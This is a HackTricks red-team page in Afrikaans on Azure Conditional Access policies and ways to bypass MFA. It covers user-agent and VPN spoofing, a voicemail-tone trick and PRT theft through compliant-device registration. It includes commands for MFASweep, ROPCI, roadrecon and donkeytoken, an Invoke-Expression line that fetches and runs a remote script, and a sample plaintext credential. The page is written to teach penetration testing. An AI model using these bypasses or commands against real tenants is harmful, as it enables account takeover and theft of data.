Az - Voorwaardelike Toegang Beleide & MFA Omseiling

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Azure Voorwaardelike Toegang beleide is reëls wat in Microsoft Azure opgestel is om toegangbeheer tot Azure-dienste en toepassings af te dwing op grond van sekere voorwaardes. Hierdie beleide help organisasies om hul hulpbronne te beveilig deur die regte toegangbeheer onder die regte omstandighede toe te pas.
Voorwaardelike toegang beleide definieer basies Wie kan toegang hĂȘ tot Wat van Waar en Hoe.

Hier is ’n paar voorbeelde:

  1. Aanmeld Risiko Beleid: Hierdie beleid kan ingestel word om multi-faktor verifikasie (MFA) te vereis wanneer ’n aanmeld risiko opgespoor word. Byvoorbeeld, as ’n gebruiker se aanmeldgedrag ongewoon is in vergelyking met hul gereelde patroon, soos om van ’n ander land aan te meld, kan die stelsel vra om addisionele verifikasie.
  2. Toestel Nakoming Beleid: Hierdie beleid kan toegang tot Azure-dienste beperk slegs tot toestelle wat voldoen aan die organisasie se sekuriteitsstandaarde. Byvoorbeeld, toegang kan slegs toegelaat word vanaf toestelle wat op datum antivirus sagteware het of ’n sekere bedryfstelsel weergawe draai.

Opsomming

# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Voorwaardelike Toegang Beleid Omseilings

Dit is moontlik dat ’n voorwaardelike toegang beleid sekere inligting nagaan wat maklik gemanipuleer kan word, wat ’n omseiling van die beleid moontlik maak. En as die beleid byvoorbeeld MFA gekonfigureer het, sal die aanvaller in staat wees om dit te omseil.

Wanneer ’n voorwaardelike toegang beleid gekonfigureer word, is dit nodig om die gebruikers wat geraak word en teikenbronne (soos alle wolk toepassings) aan te dui.

Dit is ook nodig om die voorwaardes te konfigureer wat die beleid sal aktiveer:

  • Netwerk: IP, IP-reekse en geografiese liggings
  • Kan omgegaan word deur ’n VPN of Proxy te gebruik om met ’n land te verbind of te probeer aanmeld vanaf ’n toegelate IP-adres
  • Microsoft risiko’s: Gebruiker risiko, Aanmeld risiko, Insider risiko
  • Toestel platforms: Enige toestel of kies Android, iOS, Windows phone, Windows, macOS, Linux
  • As “Enige toestel” nie gekies is nie, maar al die ander opsies gekies is, is dit moontlik om dit te omseil deur ’n ewekansige gebruikersagent te gebruik wat nie met daardie platforms verband hou nie
  • KliĂ«nt toepassings: Opsies is “Blaaier”, “Mobiele toepassings en desktop kliĂ«nte”, “Exchange ActiveSync kliĂ«nte” en Ander kliĂ«nte”
  • Om aanmelding te omseil met ’n nie-geselecteerde opsie
  • Filter vir toestelle: Dit is moontlik om ’n reĂ«l te genereer wat verband hou met die gebruikte toestel
  • Verifikasie vloei: Opsies is “Toestel kode vloei” en “Verifikasie oordrag”
  • Dit sal nie ’n aanvaller beĂŻnvloed nie, tensy hy probeer om enige van daardie protokolle in ’n phishing poging te misbruik om toegang tot die slagoffer se rekening te verkry

Die moontlike resultate is: Blokkeer of Gee toegang met potensiële voorwaardes soos vereis MFA, toestel moet voldoen


Toestel Platforms - Toestel Voorwaarde

Dit is moontlik om ’n voorwaarde in te stel gebaseer op die toestel platform (Android, iOS, Windows, macOS
), egter, dit is gebaseer op die gebruikersagent so dit is maklik om te omseil. Selfs al die opsies MFA afdwing, as jy ’n gebruikersagent wat nie erken word nie, gebruik, sal jy in staat wees om die MFA of blokkeer te omseil:

Net om die blaaier ’n onbekende gebruikersagent te laat stuur (soos Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) is genoeg om hierdie voorwaarde nie te aktiveer nie.
Jy kan die gebruikersagent handmatig in die ontwikkelaar gereedskap verander:

Of gebruik ’n blaaier uitbreiding soos hierdie een.

Ligging: Lande, IP-reekse - Toestel Voorwaarde

As dit in die voorwaardelike beleid ingestel is, kan ’n aanvaller net ’n VPN in die toegelate land gebruik of probeer om ’n manier te vind om toegang te verkry vanaf ’n toegelate IP-adres om hierdie voorwaardes te omseil.

Wolk Toepassings

Dit is moontlik om voorwaardelike toegang beleid te konfigureer om te blokkeer of af te dwing byvoorbeeld MFA wanneer ’n gebruiker probeer om toegang te verkry tot ’n spesifieke toepassing:

Om hierdie beskerming te probeer omseil, moet jy kyk of jy net in enige toepassing kan.
Die hulpmiddel AzureAppsSweep het talle toepassings-ID’s hardgecodeer en sal probeer om in hulle aan te meld en jou laat weet en selfs die token gee as dit suksesvol is.

Om spesifieke toepassings-ID’s in spesifieke bronne te toets, kan jy ook ’n hulpmiddel soos gebruik:

roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

Boonop, dit is ook moontlik om die aanmeldmetode te beskerm (bv. as jy probeer aanmeld vanaf die blaaiers of vanaf ’n desktoptoepassing). Die hulpmiddel Invoke-MFASweep voer ’n paar kontroles uit om te probeer om hierdie beskermings te omseil.

Die hulpmiddel donkeytoken kan ook vir soortgelyke doeleindes gebruik word, alhoewel dit ononderhoude lyk.

Die hulpmiddel ROPCI kan ook gebruik word om hierdie beskermings te toets en te sien of dit moontlik is om MFAs of blokke te omseil, maar hierdie hulpmiddel werk vanuit ’n whitebox perspektief. Jy moet eers die lys van toepassings wat in die tenant toegelaat is aflaai en dan sal dit probeer om in hulle aan te meld.

Ander Az MFA Omseilings

Ringtone

Een Azure MFA opsie is om ’n oproep te ontvang op die geconfigureerde telefoonnommer waar die gebruiker gevra sal word om die karakter # te stuur.

Caution

Aangesien karakters net tones is, kan ’n aanvaller die voicemail boodskap van die telefoonnommer kompromitteer, die boodskap as die toon van # konfigureer en dan, wanneer die MFA aangevra word, seker maak dat die slagoffer se telefoon besig is (dit bel) sodat die Azure oproep na die voicemail omgelei word.

Nakomingstoestelle

Beleide vra dikwels vir ’n nakomingstoestel of MFA, so ’n aanvaller kan ’n nakomingstoestel registreer, ’n PRT token kry en op hierdie manier die MFA omseil.

Begin deur ’n nakomingstoestel in Intune te registreer, dan kry die PRT met:

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

Vind meer inligting oor hierdie tipe aanval op die volgende bladsy:

Az - Primary Refresh Token (PRT)

Gereedskap

AzureAppsSweep

Hierdie skrip verkry ’n paar gebruikersakkrediteer en kyk of dit kan aanmeld in ’n paar toepassings.

Dit is nuttig om te sien of jy nie MFA benodig om aan te meld in ’n paar toepassings nie wat jy later mag misbruik om privilegies te verhoog.

roadrecon

Kry al die beleide

roadrecon plugin policies

Invoke-MFASweep

MFASweep is ’n PowerShell-skrip wat probeer om in te log op verskeie Microsoft-dienste met ’n verskafde stel geloofsbriewe en sal probeer om te identifiseer of MFA geaktiveer is. Afhangende van hoe voorwaardelike toegangsbeleide en ander multi-faktor verifikasie-instellings geconfigureer is, kan sommige protokolle eindig as ’n enkele faktor. Dit het ook ’n addisionele kontrole vir ADFS-konfigurasies en kan probeer om in te log op die plaaslike ADFS-bediener indien opgespoor.

Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

Hierdie hulpmiddel het gehelp om MFA-omseilings te identifiseer en dan API’s in verskeie produksie AAD-huurders te misbruik, waar AAD-klante geglo het dat hulle MFA afgedwing het, maar ROPC-gebaseerde verifikasie suksesvol was.

Tip

Jy moet toestemming hĂȘ om al die toepassings te lys om die lys van die toepassings te genereer om te brute-force.

./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token is ’n stel funksies wat daarop gemik is om sekuriteitskonsultante te help wat die Validiteit van Voorwaardelike Toegang Beleide moet toets, toetse vir 2FA-geaktiveerde Microsoft-portale, ens.

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

Toets elke portaal of dit moontlik is om in te log sonder MFA:

$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Omdat die Azure portaal nie beperk nie, is dit moontlik om ’n token van die portaal-eindpunt te versamel om toegang te verkry tot enige diens wat deur die vorige uitvoering opgespoor is. In hierdie geval is Sharepoint geïdentifiseer, en ’n token om toegang daartoe te verkry, word aangevra:

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

As jy aanvaar dat die token die toestemming Sites.Read.All (van Sharepoint) het, selfs al kan jy nie Sharepoint vanaf die web toegang nie weens MFA, is dit moontlik om die token te gebruik om toegang tot die lĂȘers met die gegenereerde token te verkry:

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks